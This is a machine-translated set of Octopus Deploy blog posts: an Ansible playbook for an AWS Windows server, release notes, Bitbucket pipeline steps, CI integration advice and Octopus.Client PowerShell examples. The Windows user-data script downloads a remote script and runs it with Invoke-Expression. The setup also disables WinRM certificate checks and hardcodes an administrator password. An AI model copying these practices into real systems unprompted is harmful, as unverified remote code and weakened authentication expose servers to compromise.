- name: Assume AWS Role
sts_assume_role:
role_arn: "arn:aws:iam::accountid:role/AnsibleWorker"
role_session_name: "AnsibleBuild"
region: us-east-1
register: assumed_role
- name: Create Windows Server
ec2:
aws_access_key: "{{ assumed_role.sts_creds.access_key }}"
aws_secret_key: "{{ assumed_role.sts_creds.secret_key }}"
security_token: "{{ assumed_role.sts_creds.session_token }}"
key_name: OctopusVirginia
instance_type: m3.large
image: ami-f1b5cfe7
wait: yes
wait_timeout: 600
group: SecurityGroupName
count: 1
region: us-east-1
user_data: "{{ lookup('template', 'templates/userdata.txt.j2') }}"
volumes:
- device_name: /dev/sda1
volume_size: 80
volume_type: gp2
delete_on_termination: true
instance_tags:
Name: Windows Server
register: windows_server_ec2
- name: Add Host to Inventory
add_host:
name: "{{ windows_server_ec2.instances[0].public_ip }}"
groups: windows_server
- name: Wait for WinRM to answer on all hosts
wait_for:
port: 5986
host: "{{ windows_server_ec2.instances[0].public_ip }}"
timeout: 6000
userdata.txt.j2模板包含一个 Powershell 脚本，该脚本在创建时由 Windows 实例运行。我们使用这个脚本准备由 Ansible 管理的 Windows 实例，并设置初始管理员密码。
你可以在这里找到更多关于 Windows 系统准备工作的细节。
我们还为 winrm 启用了服务器端 SSP(即CredSSP for second-hop remoting)，这在安装 SQL Server 等应用程序时是必需的。
将TheWindowsPassword改为符合所需密码复杂性规则的值。如果您将密码保留为默认密码，Powershell 脚本将不会按预期运行。
<powershell>
Enable-WSManCredSSP -Role Server -Force
Set-Item -Path "WSMan:\localhost\Service\Auth\CredSSP" -Value $true
Invoke-Expression ((New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/ansible/ansible/devel/examples/scripts/ConfigureRemotingForAnsible.ps1'))
$user=[adsi]"WinNT://localhost/Administrator,user"
$user.SetPassword("TheWindowsPassword")
$user.SetInfo()
</powershell>
需要定义一些额外的组变量，以允许 Ansible 与新创建的 Windows 实例进行交互。这些在group_vars\windows_server.yml文件中定义。
---
ansible_user: Administrator
ansible_port: 5986
ansible_connection: winrm
ansible_password: TheWindowsPassword
ansible_winrm_server_cert_validation: ignore
ansible_winrm_transport: credssp
我们将在这台服务器上安装 Chrome，因为我真的讨厌在新安装的 Windows 服务器上试图在 IE 中做任何事情。
---
- name: Install Chrome
win_chocolatey:
name: googlechrome
state: present
该角色与windows-server.yml剧本一起运行。
---
- name: Create Windows Server
hosts:
- 127.0.0.1
become: false
gather_facts: false
roles:
- win-server-instance
- name: Configure Windows
hosts: windows_server
become: false
gather_facts: false
roles:
- configure-windows
可以使用以下命令运行本行动手册:
ansible-playbook windows-server.yml
创建可解析的包
现在我们已经有了 Ansible 脚本，我们可以创建一个版本化的包，可以推送到 Octopus Deploy。
因为这些脚本托管在 GIT 中，所以我们可以使用 GIT 创建一个 ZIP 文件。这样做的好处是不包括.git目录，也不包括 GIT 没有跟踪的任何文件。
git archive -o AnsibleInfrastructure.1.0.0.0.zip HEAD
然后可以使用 CLI 工具将这个包推送到 Octopus。
octo push --package AnsibleInfrastructure.1.0.0.0.zip --apiKey API-YOURAPIKEYGOESHERE --server https://octopus.hostname
添加可负责的工人
我们在博客开始时创建的 EC2 实例现在需要在 Octopus 中进行配置。我们将把它添加为一个 SSH 目标，使用ansible_rsa私钥建立连接。
对于像 Bamboo 这样的 CI 服务器，您通常会有一个工人池，并且可以将一个作业发送给任何自由工人实例。因此，一个工作单元(通常是用 Bamboo 构建的应用程序)被分配给一个工人。
由于主要关注部署，Octopus 将获取一个包并将其安装在所有目标上。所以一个工作单元(Octopus 中的一个部署)被分配给所有的目标。
在这里，我们正在创建一个章鱼目标，并将其称为“工人”。这是可行的，因为我们有一个目标，Octopus 会将部署(或者在本例中执行 Ansible 剧本)排队到这个目标。
今天，Octopus 没有工人池的概念，其中一个工人可以被选择来运行一个单独的工作单元。但是，如果我们只有一个“worker”目标，那么作业就会像我们预期的那样排队。
运行 Ansible 行动手册
运行 Ansible 行动手册分为两步。
首先，我们提取包含 Ansible 代码的包，这些代码在前面的步骤中被推送到 Octopus。这是通过Deploy a package步骤完成的，其中 Ansible 包被提取到 worker 上的/var/octopus/scripts目录中。
运行剧本
接下来我们运行 Ansible 剧本。这是通过一个Run a Script步骤完成的。
cd /var/octopus/scripts
ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook windows-server.yml
ANSIBLE_HOST_KEY_CHECKING=False用于防止 SSH 提示信任 SSL 目标。它实际上并不与 Windows 目标一起使用，但是您会希望将它与 Linux 目标一起使用。
结论
这个过程的最终结果是一个 EC2“worker”实例，可以用来代表 Octopus 运行 Ansible 脚本，以及一个部署 Windows server 实例的 Ansible 脚本示例。
我希望您能看到将您的基础设施作为代码部署是多么容易，以及您如何在此基础上利用开发人员认为理所当然的 Octopus 中的所有管理特性。
八达通 4 月发布 3.12 -八达通部署
八达通 3.12 现在可以下载，我们正在尝试一个新的每月发布节奏。这意味着我们将按照您可以信赖的可预测的时间表发布新版本。这些版本将包括新的特性，以及当月所有补丁的汇总。我们做这个实验的目的如下:
- 使您更容易了解 Octopus Deploy 中的新功能和增强功能
- 让您更容易计划何时以及如何升级
- 通过结构化的交付时间表，提高每月发布的质量和可预测性。
注意:我们仍然会在补丁准备好的时候继续发布小的改进和漏洞修复。我们希望尽快将这些改变交到你们手中，这样就不会改变。
在这篇文章中
发布之旅
https://www.youtube.com/embed/ZswEEN4pMVM
VIDEO
现在开始使用 Octopus 更加容易了
Octopus Deploy 一直致力于帮助新用户轻松实现部署自动化，但这仍然是一条漫长而复杂的自动化之路。
新的 onboarding 体验介绍了 Octopus 的概念，并指导新用户首次成功部署。安装新的 Octopus server 实例时，仪表板会显示一个入门指南，概述完成部署所需的基本步骤。对于有经验的用户，可以随时从帮助菜单访问该指南。如果您正在为一个项目设置一个新的实例，进行培训，或者顾问正在为一个新的客户端设置一个部署管道，那么参考它会很有帮助。
一步一步的过程是我们认为最简单的方式来进行你的第一次部署，实现章鱼的牛逼。为了帮助您跟踪进度，我们在屏幕底部提供了一个进度条。这将为您提供流程中下一步是什么的提示和链接，在您第一次部署后它会消失。
我们这项工作的目标是帮助新的和有经验的用户尽可能快和容易地部署他们的第一个版本，然后继续自动化他们的其他项目。这是一个令人愉快的副作用，让一切看起来更好一点😃我们认为我们已经实现了这个目标，我们希望得到您反馈。启动一个虚拟机，开始一个全新的实例，或者只是玩玩你现有的 Octopus 安装。
更新所有项目的步骤
跨多个项目更新步骤需要大量的工作，因为每个步骤都需要手动更新。过去你已经让我们清楚地知道了那件事。今天，我们很高兴地宣布，我们已经自动化了处理的，您只需点击一下鼠标。
文件中的替代变量现在支持扩展通配符模式匹配
package steps 的一个流行特性是 Octopus 能够在配置和 JSON 文件中进行变量替换。这让您可以利用嵌入式模板语法。
这些额外的配置操作是在一组固定的文件上进行的，每个文件一行。这是一个严格的配置，如果文件丢失，部署就会失败。如果你有一些文件，这可能是可取的，但有 90 个用户的声音投票，这是更灵活的。问题是，对于较大的部署，需要转换的配置文件数量未知且不断变化。因为移动配置文件而中断构建是一种可怕的经历。
对于这些配置选项来说，扩展的通配符模式匹配是一种拯救。通过这种增强，您可以使用模式来指定带有通配符的文件名集，以确定将要修改的文件集。这里有两个例子:**/*.config将匹配任何嵌套深度的以.config结尾的文件，而Area1/**/*.config将只匹配Area1和更深的文件夹中的*.config文件。
PowerShell 调试支持
如果您曾经为 Octopus 编写过长度超过几行的步骤模板或脚本步骤，我敢肯定您遇到过这样的问题，您必须调整一些东西并重新运行，直到您让它按照您想要的方式工作。也许你甚至求助于基于write-host的调试。好了，现在你可以使用一个完全成熟的调试器(比如 PowerShell ISE)和你的 PowerShell 脚本来调试问题。您甚至可以通过 PSRemoting 进行远程调试！看看我们的文档开始吧。
性能改进
我们在这个版本上投入了很多努力，以使 Octopus 在大规模和小规模部署中都比以往表现得更好。显著的改进是:
- 部署时间减少 60-90%,尤其是对于包含大量步骤或机器的部署。在我们的负载测试场景中，端到端的 3 小时部署减少到了 6 分钟！
- 处理大型任务日志时性能提升 10 倍。在我们的测试场景中，一个 18MB 的任务日志的解析时间从 5000 毫秒减少到了 500 毫秒。
- 对于绝大多数正常工作负载，CPU、RAM 和 SQL 数据库的使用都有所减少，这意味着 Octopus 将更好地适应更困难的工作负载和更多的用户。
我们强烈建议升级到 Octopus 3.12，以便您可以从这些性能改进中受益。所有这些性能改进也在 Octopus 3.11 的最新补丁中提供，以防你现在无法升级到 Octopus 3.12。
证书链支持
Octopus 版本提供了证书功能，我们在过去几周一直在完善它。3.12 通过添加对包含证书链的 PFX 文件的支持，延续了这一点。
改进的许可证通知
我们这个月的最后更新是一个小的改进，以帮助显示您的八达通卡状态。我们已经更新了我们的许可证页面，如果您的许可证即将到期或已经过期，我们会向您发出警报，我们还添加了一个非常微妙的提醒，以便八达通用户了解他们的许可证状态。我们发现，使用 Octopus 的开发人员通常不知道他们公司的许可状态，因此无法总是利用新功能或增强功能，因此我们使其更容易知道何时需要续订。也就是说，我们已经努力确保这是非常微妙的，不会惹恼你。
值得指出的是，这目前只显示许可证到期通知和新版本通知(根据您的偏好)，但我们将在未来建立它。
升级
升级 Octopus Deploy 的所有常规步骤都适用。在此版本中，我们引入了一些安全增强功能。如果您的任何用户在升级后遇到问题，请尝试以下步骤:
- 在 web 浏览器中刷新 Octopus 部署门户
- 退出 Octopus Deploy 门户网站
- 再次登录
包裹
这个月到此为止。我们希望您喜欢最新的功能和我们新的发布节奏。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
Bitbucket 的 Octopus 管道:octopus-cli-run - Octopus Deploy
在之前的一篇文章中，我写了如何创建一个 Bitbucket 管道并将其与 Octopus Deploy 集成。如果您是第一次开始使用管道，值得一读。
在本帖中，我将向您概述 Octopus - octopus-cli-run 的新实验性 Bitbucket 管道。如果你有兴趣尝试实验管道，你可以用它来运行来自 Octopus CLI 的命令，允许你进一步将你的 Atlassianbit bucket Pipeline与 Octopus 集成来管理你的包、发布和部署。
在这篇文章中
管道 YAML 定义
管道的基本定义包括对托管在位桶上的仓库的引用。它还在 Docker Hub 上被发布为octopus/octopus-CLI-run。
它有一个必需的CLI_COMMAND变量。这是要运行的 CLI 命令。
要在您的bitbucket-pipelines.yml文件中使用管道，请将下面的 YAML 代码片段添加到脚本部分:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: "<string>"
# EXTRA_ARGS: ['<string>','<string>' ..] # Optional
# DEBUG: "<boolean>" # Optional
管道还提供了一个名为EXTRA_ARGS的可选数组变量，您可以使用它来包含指定命令的任何附加命令行参数。
管道变量定义
位桶管道和管道中的变量被配置为环境变量。由于octopus-cli-run管道包含许多命令，所需的具体变量取决于您正在使用的命令。参见自述文件了解每个命令所需变量的详细信息。
支持的命令
这个octopus-cli-run管道是用最常用的 CLI 命令编写的，它实际上是建立在 Octopus CLI Docker 映像之上的。这包括以下能力:
- 使用 pack 打包您的文件或构建工件。
- 使用 push 将包发送到 Octopus 内置存储库。
- 使用构建信息将构建信息推送到 Octopus。
- 使用 create-release 自动创建发布。
- 使用部署-发布部署已经创建的发布。
接下来，我们将使用 Bitbucket 上提供的 PetClinic 示例应用程序来探索每个命令的管道步骤。为了保持简单，这些步骤已经减少到所需的最小定义。
包装
pack命令允许你从磁盘上的文件创建包(zip 或 nupkg 格式)，而不需要.nuspec或.csproj文件。
要创建包，请定义如下步骤:
- step:
name: octo pack mysql-flyway
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'pack'
ID: 'petclinic.mysql.flyway'
FORMAT: 'Zip'
VERSION: '1.0.0.0'
SOURCE_PATH: 'flyway'
OUTPUT_PATH: 'flyway'
artifacts:
- "flyway/*.zip"
这会打包flyway文件夹，并在同一个文件夹中创建一个名为petclinic.mysql.flyway.1.0.0.0.zip的 zip 文件。
推
push命令使您能够推送包(。zip，。nupkg，。战争等)到章鱼的内置储存库
还支持同时推送多个包。要执行多包push，定义如下步骤:
- step:
name: octo push
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'push'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
PACKAGES: [ "./flyway/petclinic.mysql.flyway.1.0.0.0.zip", "target/petclinic.web.1.0.0.0.war" ]
这将把petclinic.mysql.flyway.1.0.0.0.zip和petclinic.web.1.0.0.0.war包推送给 Octopus。
构建信息
build-information命令帮助您将关于您的构建的信息(编号、URL、提交)传递给 Octopus。这些信息可以在 Octopus 中查看，也可以在发行说明和部署说明中使用。
如果您已经创建了一个构建信息文件，那么您可以使用FILE变量将它提供给命令。如果没有提供变量，管道将生成自己的构建信息文件，并将其发送给 Octopus。
要推送自动生成的构建信息文件，请定义如下步骤:
- step:
name: octo build-information
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'build-information'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
VERSION: '1.0.0.0'
PACKAGE_IDS: ['petclinic.web']
这将创建构建信息，将它与petclinic.web包的版本1.0.0.0相关联，并将其推送到 Octopus。
创建发布
create-release命令允许您在 Octopus 中创建一个版本。您使用PROJECT变量指定项目来创建发布。
或者，您也可以将该版本部署到一个或多个环境中。为了实现这一点，您应该使用全局EXTRA_ARGS数组变量并提供适当的选项。例如:
EXTRA_ARGS: ['--deployTo', 'Development', '--guidedFailure', 'True']
要创建一个版本，并让 Octopus 选择要使用的版本，创建如下步骤:
- step:
name: octo create-release
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'create-release'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
PROJECT: $OCTOPUS_PROJECT
部署发布
deploy-release命令允许您部署已经创建的版本。使用PROJECT和RELEASE_NUMBER变量来指定项目和发布版本号以部署发布版本。
通过使用名称或 ID 在DEPLOY_TO变量中指定要部署到的环境，如下所示:
DEPLOY_TO: ['Environments-1', 'Development', 'Staging', 'Test']
要为一个项目将latest版本部署到Development，创建如下步骤:
- step:
name: octo deploy-release
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'deploy-release'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
PROJECT: $OCTOPUS_PROJECT
RELEASE_NUMBER: 'latest'
DEPLOY_TO: ['Development']
使用管道
最后，让我们看看如何在多个步骤中使用管道来组成完整的位桶管道:
image: maven:3.6.1
pipelines:
branches:
master:
- step:
name: build petclinic
caches:
- maven
script:
- mvn -B verify -DskipTests -Dproject.versionNumber=1.0.0.0 -DdatabaseUserName=$DatabaseUserName -DdatabaseUserPassword=$DatabaseUserPassword -DdatabaseServerName=$DatabaseServerName -DdatabaseName=$DatabaseName
artifacts:
- "target/*.war"
- step:
name: octo pack mysql-flyway
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'pack'
ID: 'petclinic.mysql.flyway'
FORMAT: 'Zip'
VERSION: '1.0.0.0'
SOURCE_PATH: 'flyway'
OUTPUT_PATH: './flyway'
artifacts:
- "flyway/*.zip"
- step:
name: octo push
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'push'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
PACKAGES: [ "./flyway/petclinic.mysql.flyway.1.0.0.0.zip", "target/petclinic.web.1.0.0.0.war" ]
- step:
name: octo build-information
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'build-information'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
VERSION: '1.0.0.0'
PACKAGE_IDS: ['petclinic.web']
- step:
name: octo create-release
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'create-release'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
PROJECT: $OCTOPUS_PROJECT
- step:
name: octo deploy-release
script:
- pipe: octopusdeploy/octopus-cli-run:0.13.0
variables:
CLI_COMMAND: 'deploy-release'
OCTOPUS_SERVER: $OCTOPUS_SERVER
OCTOPUS_APIKEY: $OCTOPUS_API_KEY
OCTOPUS_SPACE: $OCTOPUS_SPACE
PROJECT: $OCTOPUS_PROJECT
RELEASE_NUMBER: 'latest'
DEPLOY_TO: ['Development']
就是这样！
您可以在位桶上查看完整的 PetClinic bitbucket-pipelines.yml文件。
样本 Octopus 项目
您可以在我们的样本实例中看到 PetClinic Octopus 项目。
结论
使用位桶管道确实有助于简化位桶管道中的配置，并且作为作者有助于促进您的操作的重用。查看 Bitbucket Pipelines 了解更多信息，查看实验性 Octopus Pipe 了解如何一起使用 Bitbucket 和 Octopus 的更多细节。
集成 101: Octopus 和构建服务器- Octopus 部署
原文：https://octopus.com/blog/octopus-build-server-integration-101
自从这篇文章首次发表以来，我们已经重新命名了 Octo.exe，现在它是 Octopus CLI，更多信息，请参见这篇文章: Octopus release 2020.1 。
在我为 Octopus 的客户提供支持的三年中，*“将 Octopus 与构建服务器集成”*可能是我回答最多的问题。在这篇博文中，我将向您提供一些关于如何完成这项任务的技巧，如果您是从零开始，不管您使用的是什么构建服务器技术。
这篇博文的目标读者是那些刚刚开始将 Octopus 集成到他们的持续集成(CI)管道中的用户。如果你已经建立并运行了这个系统，它对你来说可能没有太大的价值😃
在这篇文章中
关注点分离
在某种程度上，Octopus 和所有的构建服务器技术乍一看都非常相似。它们的一些共同点是:
- 这两个工具都属于 CI 管道，旨在帮助开发团队更快、更可靠地获得代码。
- 两者基本上都是流程运行者。你定义一个充满步骤的过程，你执行它，奇迹就发生了。
但相似之处也就到此为止了。如果您想要集成任何两个工具，您需要清楚地了解每个工具负责哪个任务。
下面是两个(非常简单的)列表，列出了每个工具在理想 CI 流程中应该扮演的角色。
构建服务器应该做什么？
- 编译你的二进制文件。这意味着运行
MSBuild、NPM、javac、dotnet.exe等。，并将编译后的应用程序放到构建代理上的文件夹中。 - 运行测试。
- 打包并推送你的应用到一个存储库。一旦测试通过，用您的构建的输出创建一个包，并将其推送到您的存储库。
- 调用 CI 管道中的下一个工具。在我们的例子中，我们将调用 Octopus 来告诉它创建和部署一个发布。
章鱼该怎么办？
- 提供/更新基础设施(可选)。如果你需要创建一个
Azure WebApp、一个Elastic Beanstalk实例、扩展一个虚拟机集、创建一个 IIS/Tomcat 网站或者任何与设置相关的东西，也就是你将放置编译好的代码的地方，把这个任务作为你的 Octopus 部署过程的第一步是一个非常好的主意。Octopus 目前支持 Terraform 、 AWS CloudFormation 和 Azure RM 模板。 - 在部署之前在您的应用程序中设置配置值。理想情况下，您的包的内容应该可以部署到您生命周期中的任何环境中，唯一不同的是特定于环境的配置值，比如连接字符串、密码/API 密钥等。Octopus 有多种特性可以在部署时修改配置值。
- 部署您的应用。
那么，我应该如何开始将 Octopus 整合到我的 CI 渠道中呢？
我见过的人们在开始这项任务时最常犯的一个错误是，在没有完全理解每个工具能带来什么的情况下，同时配置太多的东西。在这篇博文中，我不会分享任何关于如何设置的细节(我们有很好的文档)。相反，我希望这篇文章能作为一个指南/清单，帮助你有条不紊地完成这项任务。
我们将这个任务分成三个界限分明的阶段:构建、部署、&、集成。每个阶段都有自己的目标，我们将会关注这些目标。
与队友一起工作？
阶段 1 和 2 可以按任何顺序进行，因为它们不会相互接触，直到我们到达阶段 3 。这意味着，如果你和一个队友一起工作，他可以专注于阶段 1 ，而你专注于阶段 2 (你甚至可以打赌看谁先完成)。
阶段 1 -构建
**目标:**在这一阶段结束时，您应该能够运行一个成功的应用程序构建，因此您应该有一个包含任何受支持格式的包，其中包含被推送到包存储库的构建输出。
1.1 -成功构建您的项目
我见过许多开发人员害怕这一步，主要是因为这迫使他们处理他们已经使用了一段时间的黑箱，称为“构建配置”。在开发团队中，只有 1-2 个开发人员真正知道他们的构建是如何工作的，其他人只是简单地点击“运行”,希望一切顺利。如果你是后一种人，这可能是一个改变这种情况的好时机，你可以和队友一起学习你的构建过程是如何工作的。
要完成这一步，您应该有一个遵循以下两条准则的成功构建:
- 生成输出必须发送到固定文件夹。每个构建工具都有一个参数，允许您将输出发送到自己选择的目录中。我建议你把它发送到一个叫做
Build或Output的文件夹，它位于你的构建的WorkDir的根目录下。 - 该文件夹中的内容应该完全按照您期望它被部署到目的地的方式进行组织。例如，如果你的网站/PAAS 期望一个
web.config和一个index.html文件在根目录下，那么这两个文件也应该在这个文件夹的根目录下。
1.2 -将您的构建输出打包并推送到存储库
在这一步中，您将把上一步中提到的output folder的内容打包到一个包中，其中包含任何受支持的格式。然后你将把这个包推到一个仓库，Octopus 将在那里提取它。
根据你是否使用我们的插件中的，以及你是否使用Octopus 内置库来存储你的包，你将需要使用下面的方法之一:
| 使用插件 | 使用内置存储库 | 包装方法 | 推动方法 |
|---|---|---|---|
| 是 | 是 | 使用插件提供的名称中带有单词“Pack”的步骤 | 使用插件提供的名称中带有“推送包”字样的步骤 |
| 是 | 不 | 使用插件提供的名称中带有单词“Pack”的步骤 | 使用Nuget.exe 推动 |
| 不 | 是 | 使用Nuget.exe 包 | 使用Nuget.exe 推或Octo.exe 推 |
如果使用 TeamCity，步骤Octopus Deploy: Push Package将打包和推动一步完成
完成后，检查您的存储库以确保包在那里。下面的截屏显示了如果您使用内置的存储库该如何做。
这里唯一的关键建议是，您应该使用与创建它的构建版本相同的版本号来版本化这个包。所以如果你正在构建项目SupportFlow并且你正在运行构建1.0.78，你的包应该以SupportFlow.1.0.78.zip结束
第 2 阶段-部署
**目标:**在本阶段结束时，您应该能够在 Octopus 中创建一个发布，并使用Octo.exe从命令行触发应用程序的成功部署。
2.1 -将测试包上传到您的存储库中
如果您已经完成了步骤1.2，这意味着您的存储库中已经有了一个包，所以您可以跳到下一步。如果你还没有完成这一步，只需在本地编译你的应用程序，并使用Octo.exe 包打包输出。一旦你有了一个包，就把它推到 Octopus 内置库并确保你能在Library -> Packages下的门户网站中看到它。
下一步您只需要一个包，您将反复使用它，直到您正确完成部署过程。如果你的部署过程使用了不止一个包(也许是分别部署一个 WebApp 和一个云服务，对你需要的每个包重复这个过程。
2.2 -设计您的部署流程并运行它
现在，您终于可以开始在 Octopus 中做事了。我们在这里不会涉及太多的细节，因为是我们的文档为准备的。但是这一步的总体思路是在 Octopus 中设置您的部署过程，以部署2.1中提到的包。一旦您完成了这些，您应该能够从 Octopus web 门户手动触发成功的部署。
如果这是你第一次建立你的 Octopus 项目，这可能是你花费大部分时间的步骤。此时，不要太在意您正在使用的包的版本号或 Octopus 中的发布号。这一步的唯一目的是让您熟悉您的部署过程，并完全理解每一步会带来什么。
因此，您可以高枕无忧，根据需要触发任意多的部署😃
2.3 -使用 Octo.exe 创建发布并触发部署
在上一步中，您学习了如何从 Web 门户创建发布和触发部署。这一步的目标是你学习做同样的事情，但是使用Octo.exe。
如果你不知道这个 CLI 工具，这里有 TL；DR，这是一个命令行应用程序，它与 Octopus API 对话，并帮助您对 Octopus 实例执行一些最常用的操作。您可以在本文档中了解它提供的所有功能。
您应该注意的命令是创建-释放。关于此命令的一些提示:
- 如果您使用
--deployTo参数，它不仅会创建发布，还会将它部署到环境中。它基本上结合了命令create-release和deploy-release。 - 使用
--progress在控制台中查看执行时的部署日志。否则，该命令只会在 Octopus 中创建一个任务，您将被迫转到 Web 门户来查看部署情况。 - 使用
--whatIf来看看如果运行这个命令会发生什么，而实际上没有触发 Octopus 中的任何东西。
每一个构建服务器集成(至少是 Octopus 团队构建的)都只是这个 CLI 工具的 UI 包装器。所以你从这一步学到的知识将在下一阶段派上用场。
第三阶段-整合
目标:在这个阶段结束时，您应该能够向您的构建流程添加一个新的步骤，该步骤触发 Octopus 中的部署。
现在，在这个阶段，我们将把前两个阶段的所有东西放在一起。因此，你有必要成功地完成这两项任务。
3.1 -从构建中在 Octopus 中创建一个发布/部署
如果你正在使用我们的一个构建服务器插件，在它的名字上寻找一个带有“创建发布”字样的步骤。
如果你没有使用我们的插件，不要担心！您在2.3中获得的知识应该足够让您在构建过程中添加一个 PowerShell/Bash 脚本步骤，运行您已经使用过的相同的Octo.exe命令。为此，您将需要Octo.exe在构建时驻留在您的构建代理上。你可以通过添加这个 NuGet 包或者这个 Chocolatey 包作为依赖来实现。
不管怎样，如果您使用插件步骤，或者原始的Octo.exe调用，您需要传递的主要值是:
Release Version。我们强烈建议您使用您的内部版本号来设置这个值，这样您总是知道哪个内部版本触发了 Octopus 中的哪个版本。您要部署到的
Environment。
Pro 提示
插件/扩展提供的每一个“创建发布”步骤都会有一个名为Show Deployment Progress或类似的复选框。如果您选中该框，您的构建服务器将保持与您的 Octopus 部署的连接，并在您的构建日志中实时显示它的输出。此外，如果部署失败，构建过程中的该步骤也将失败。这最后一点非常方便，只要看看你的构建就知道在 Octopus 中的部署是否失败了。
如果您正在使用一个原始的Octo.exe调用，那么这个特性的等价物就是--progress参数。
如果您在这一步遇到问题，请查看我们的故障排除指南,了解如何解决问题，或者学习如何在我们的论坛中寻求帮助。
关于构建服务器插件和 Octo.exe 的几句话
如果你查看我们的 API 和构建服务器文档，你会注意到我们的团队为一些最流行的构建服务器构建了一些插件。这些插件扩展了构建服务器的功能，通过添加一些自定义步骤来完成 Octopus 的功能，比如触发部署和推送包。下面的列表链接到每个插件的文档，以及每个插件提供的步骤列表。
- VSTS/TFS
- 创建八达通释放
- 部署八达通释放
- 促进章鱼释放
- 包装应用
- 将包推给八达通
- 团队合作
- 创建发布
- 部署发布
- 促进释放
- 推送包装(也称为包装)
- 竹子
- 创建发布
- 部署发布
- 打包包装
- 推送包
- 供应商(即将推出)
在幕后，这些步骤实际上只是围绕Octo.exe的 UI 包装器。因此，如果您没有使用上面的任何构建服务器，您可以简单地在构建过程的脚本步骤中使用Octo.exe来获得相同的结果。
就是这样！我真的希望这个指南能帮助你以一种更有条理的方式将 Octopus 整合到你的 CI 渠道中。
请记住，本指南做了很多假设，主要针对真正基本的 CI 渠道。如果您觉得这里描述的步骤不适合您的流程，请联系我们的支持论坛，我们会帮您一把。
了解更多信息
用八达通实现自动化。客户端- Octopus 部署
在 Octopus Deploy 中，我们一直在喋喋不休地谈论 Octopus 是如何首先成为 API 的。作为 API first 的好处之一是，你可以通过 web 请求做 Octopus UI 做的任何事情。我们有一个名为 Octopus 的便利图书馆。客户端封装了 API，使得在 Octopus Deploy 服务器上执行操作变得容易。本文将重点介绍使用 PowerShell 的一些常见操作。
入门指南
有很多方法可以得到 Octopus.Client。有一个 NuGet 包可以包含在你的 Visual Studio 项目和 Octopus 中。客户端可以从 Octopus 服务器和触手安装文件夹中获得。
要开始使用 PowerShell，您需要参考 Octopus。客户端 dll:
Add-Type -Path 'Octopus.Client.dll'
要在 Octopus 服务器上执行操作，您需要使用 API 密钥创建一个到 Octopus 服务器的连接:
$octopusURI = "http://localhost"
$apiKey = 'API-ALLYOURBASEBELONGTOUS'
$endpoint = new-object Octopus.Client.OctopusServerEndpoint $octopusURI, $apiKey
最后，使用连接访问 Octopus 服务器存储库:
$repository = new-object Octopus.Client.OctopusRepository $endpoint
简单的操作
你的八达通服务器上的大部分资源都可以通过八达通访问。客户端通过一组常见的操作:
- FindAll()
- 获取(id)
- 创建(资源)
- 修改(资源)
- 删除(资源)
例如，要创建一个环境:
Add-Type -Path 'Octopus.Client.dll'
$octopusURI = "http://localhost"
$apiKey = 'API-ALLYOURBASEBELONGTOUS'
$endpoint = new-object Octopus.Client.OctopusServerEndpoint $octopusURI, $apiKey
$repository = new-object Octopus.Client.OctopusRepository $endpoint
$environment = new-object Octopus.Client.Model.EnvironmentResource
$environment.Name = "Demo environment"
$environment.Description = "An environment for demonstrating Octopus.Client"
$repository.Environments.Create($environment)
自动化所有的事情
章鱼的真正力量。客户端是自动化的能力。例如:您可以提供一组触角，将它们添加到一个环境中，然后通过按 Octopus UI 中的一组按钮将所有项目的最新版本部署到该环境中，或者您可以编写一个脚本。
向环境中添加监听触角:
Add-Type -Path 'Octopus.Client.dll'
$octopusURI = "http://localhost"
$apiKey = 'API-ALLYOURBASEBELONGTOUS'
$endpoint = new-object Octopus.Client.OctopusServerEndpoint $octopusURI, $apiKey
$repository = new-object Octopus.Client.OctopusRepository $endpoint
$tentacleEndpoint = New-Object Octopus.Client.Model.EndPoints.ListeningTentacleEndpointResource
$tentacleEndpoint.Thumbprint = "B0EDD32958AC90743F21F96DD9AAD5E13AF202EF"
$tentacleEndpoint.Uri = "https://localhost:10933"
$environment = $repository.Environments.FindByName("Demo environment")
$tentacle = New-Object Octopus.Client.Model.MachineResource
$tentacle.Endpoint = $tentacleEndpoint
$tentacle.EnvironmentIds.Add($environment.Id)
$tentacle.Roles.Add("demo-role")
$tentacle.Name = "Demo Tentacle"
$repository.Machines.Create($tentacle)
将每个项目的版本部署到环境中:
Add-Type -Path 'Octopus.Client.dll'
$octopusURI = "http://localhost"
$apiKey = 'API-ALLYOURBASEBELONGTOUS'
$endpoint = new-object Octopus.Client.OctopusServerEndpoint $octopusURI, $apiKey
$repository = new-object Octopus.Client.OctopusRepository $endpoint
$environment = $repository.Environments.FindByName("Demo environment")
